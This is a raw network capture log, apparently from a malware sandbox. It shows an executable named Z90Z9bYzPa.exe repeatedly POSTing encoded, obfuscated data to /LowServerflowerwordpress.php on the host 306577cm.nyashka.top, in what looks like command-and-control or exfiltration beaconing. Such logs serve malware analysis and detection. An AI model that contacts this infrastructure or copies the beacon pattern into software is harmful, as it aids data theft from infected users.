Jan 7, 2025 11:58:37.433247089 CET	2536	OUT	Data Raw: 50 5c 5c 53 5f 48 59 5a 5a 59 51 55 5a 5b 50 55 55 52 5b 59 55 51 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\S_HYZZYQUZ[PUUR[YUQT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y+"\>0?50('3%('?9^5>8S>9?'<$Y4 ,4%[/ Q-
Jan 7, 2025 11:58:37.727586985 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:37.858119965 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50105	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:37.992036104 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50109	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:38.204756021 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1836 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:38.558154106 CET	1836	OUT	Data Raw: 55 59 5c 5f 5f 48 59 57 5a 59 51 55 5a 54 50 57 55 57 5b 5f 55 56 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UY\__HYWZYQUZTPWUW[_UVT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^(.?0<!?]&&+'&<=6;):4'4'9$%[/ Q-
Jan 7, 2025 11:58:38.860419989 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:39.015997887 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 10 36 37 30 08 27 3d 30 0f 27 3b 32 54 28 22 2e 00 28 23 00 5e 25 3b 3f 1d 31 12 27 5e 21 3c 2c 08 29 01 21 5d 22 0e 0c 1d 31 39 28 5c 00 1b 27 04 24 22 05 52 2a 22 29 0c 32 0e 22 15 31 0c 3b 05 35 3e 2e 54 22 2a 3e 0d 34 03 3f 0f 2d 2d 3c 0e 2b 1d 27 14 2e 24 23 5d 20 03 20 51 0d 17 3b 0e 30 3e 2f 00 24 3c 00 59 23 27 38 51 37 26 32 04 25 2f 22 5a 25 13 3f 59 29 39 3c 5e 36 3f 26 00 35 16 23 52 36 04 0f 0a 2a 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &670'=0';2T(".(#^%;?1'^!<,)!]"19(\'$"R")2"1;5>.T">4?--<+'.$#] Q;0>/$<Y#'8Q7&2%/"Z%?Y)9<^6?&5#R6*<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50112	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:38.331789970 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:38.683154106 CET	2536	OUT	Data Raw: 50 5f 5c 52 5f 45 59 5b 5a 59 51 55 5a 5a 50 56 55 53 5b 58 55 5f 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_\R_EY[ZYQUZZPVUS[XU_TZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(2:<3'60+'0Q%(.0<!Y5>(*3$# 0'-%[/ Q-0
Jan 7, 2025 11:58:38.987977982 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:39.156754017 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50115	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:39.279105902 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:39.636285067 CET	2536	OUT	Data Raw: 50 5f 5c 5f 5a 43 5c 56 5a 59 51 55 5a 55 50 50 55 55 5b 5d 55 53 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_\_ZC\VZYQUZUPPUU[]USTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+"1?#_"0+$&7%8%X3"6$()3<_7 8],$%[/ Q-
Jan 7, 2025 11:58:39.934689045 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:40.071054935 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50116	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:40.201601028 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:40.558190107 CET	2532	OUT	Data Raw: 50 5b 5c 5f 5f 45 59 51 5a 59 51 55 5a 5c 50 57 55 52 5b 5f 55 5e 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\__EYQZYQUZ\PWUR[_U^TSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+1"?U !#<0%?'^&0568)4T'? ]73'.4%[/ Q-
Jan 7, 2025 11:58:40.838439941 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:40.967756033 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50117	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:41.089699984 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:41.449265003 CET	2536	OUT	Data Raw: 50 5f 59 58 5a 44 59 51 5a 59 51 55 5a 59 50 57 55 55 5b 58 55 5e 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_YXZDYQZYQUZYPWUU[XU^T^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?"1<00";&%$0=X#-$V(:,T$?4#9%[/ Q-<
Jan 7, 2025 11:58:41.726212978 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:41.855041027 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50118	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:41.985075951 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:42.339477062 CET	2536	OUT	Data Raw: 50 5c 59 5e 5a 44 59 50 5a 59 51 55 5a 54 50 5d 55 50 5b 5b 55 56 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\Y^ZDYPZYQUZTP]UP[[UVT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<W%<;!\',Q%8\$"63=*4R$,$]73;.4%[/ Q-
Jan 7, 2025 11:58:42.646230936 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:42.783751011 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50119	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:42.920037031 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:43.277215004 CET	2536	OUT	Data Raw: 55 5f 59 5b 5f 45 59 50 5a 59 51 55 5a 5a 50 56 55 52 5b 53 55 50 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y[_EYPZYQUZZPVUR[SUPT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?)+'!3&%'(=Y&/9Z5()3Y8_#_9%[/ Q-0
Jan 7, 2025 11:58:43.554466009 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:43.706882954 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50120	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:43.825773001 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50121	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:44.034986019 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:44.386401892 CET	1860	OUT	Data Raw: 50 58 5c 5a 5f 46 59 54 5a 59 51 55 5a 55 50 54 55 52 5b 52 55 5e 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\Z_FYTZYQUZUPTUR[RU^TSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y+1^<$50$'%+&3=Y5=0)0V$?# U8:%[/ Q-
Jan 7, 2025 11:58:44.671617985 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:44.799901009 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 07 22 34 27 1a 26 2e 3b 1f 27 3b 2e 50 28 22 21 5b 2b 23 0c 12 33 16 06 0f 32 3c 3c 01 21 5a 2c 08 3d 59 31 58 23 23 35 0f 25 03 28 5c 00 1b 24 1e 33 32 33 56 2a 32 00 1f 27 24 2e 16 31 0b 24 14 21 3e 2d 08 21 39 2e 0a 34 3e 3f 09 3a 07 3f 57 2a 34 06 07 2e 27 27 11 22 39 20 51 0d 17 38 1b 24 3e 24 5b 26 2c 07 01 21 19 16 1d 34 0b 3d 58 25 3c 0b 04 27 2e 23 59 3c 2a 3b 02 21 02 25 5f 21 3b 20 0c 35 3a 32 1f 29 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"4'&.;';.P("![+#32<<!Z,=Y1X##5%(\$323V2'$.1$!>-!9.4>?:?W4.''"9 Q8$>$[&,!4=X%<'.#Y<*;!%_!; 5:2)<#]" R3XO
Jan 7, 2025 11:58:45.031177998 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 07 22 34 27 1a 26 2e 3b 1f 27 3b 2e 50 28 22 21 5b 2b 23 0c 12 33 16 06 0f 32 3c 3c 01 21 5a 2c 08 3d 59 31 58 23 23 35 0f 25 03 28 5c 00 1b 24 1e 33 32 33 56 2a 32 00 1f 27 24 2e 16 31 0b 24 14 21 3e 2d 08 21 39 2e 0a 34 3e 3f 09 3a 07 3f 57 2a 34 06 07 2e 27 27 11 22 39 20 51 0d 17 38 1b 24 3e 24 5b 26 2c 07 01 21 19 16 1d 34 0b 3d 58 25 3c 0b 04 27 2e 23 59 3c 2a 3b 02 21 02 25 5f 21 3b 20 0c 35 3a 32 1f 29 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %"4'&.;';.P("![+#32<<!Z,=Y1X##5%(\$323V2'$.1$!>-!9.4>?:?W4.''"9 Q8$>$[&,!4=X%<'.#Y<*;!%_!; 5:2)<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50122	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:44.154522896 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:44.511464119 CET	2536	OUT	Data Raw: 50 58 59 59 5f 46 5c 55 5a 59 51 55 5a 5b 50 57 55 52 5b 5c 55 53 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PXYY_F\UZYQUZ[PWUR[\USTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+?'503\3%$^)$/%5?)*,R07#/-$%[/ Q-
Jan 7, 2025 11:58:44.799973965 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:45.031161070 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:58:45.031172991 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50123	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:45.155066013 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:45.511512995 CET	2536	OUT	Data Raw: 55 5f 59 5c 5f 44 5c 56 5a 59 51 55 5a 55 50 57 55 56 5b 5b 55 50 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y\_D\VZYQUZUPWUV[[UPTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%*">\>3;_!V?\'&4$(X&?)^"0V>T3<^" ,Y,$%[/ Q-
Jan 7, 2025 11:58:45.811294079 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:45.947299957 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50124	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:46.076303005 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:46.433203936 CET	2536	OUT	Data Raw: 55 58 5c 58 5f 44 59 5a 5a 59 51 55 5a 58 50 5d 55 51 5b 5f 55 56 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\X_DYZZYQUZXP]UQ[_UVTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(W.^>0? #0&%3*0%_#.(>_30?+7#094%[/ Q-8
Jan 7, 2025 11:58:46.712913036 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:46.842966080 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50125	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:46.965616941 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:47.324204922 CET	2536	OUT	Data Raw: 50 5d 5c 52 5a 44 5c 56 5a 59 51 55 5a 58 50 50 55 51 5b 58 55 53 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]\RZD\VZYQUZXPPUQ[XUSTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%?1&?3?Z 3'$&<'8'%_#-$>:(T'/<\##(.%[/ Q-8
Jan 7, 2025 11:58:47.651074886 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:47.782852888 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50126	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:47.906281948 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:48.261594057 CET	2536	OUT	Data Raw: 55 5f 59 5f 5a 41 5c 51 5a 59 51 55 5a 5e 50 5d 55 54 5b 58 55 53 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y_ZA\QZYQUZ^P]UT[XUST^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\?Z+36?[$5<089'/"#>0))(U'0 8.%[/ Q-
Jan 7, 2025 11:58:48.667222023 CET	25	IN	HTTP/1.1 100 Continue
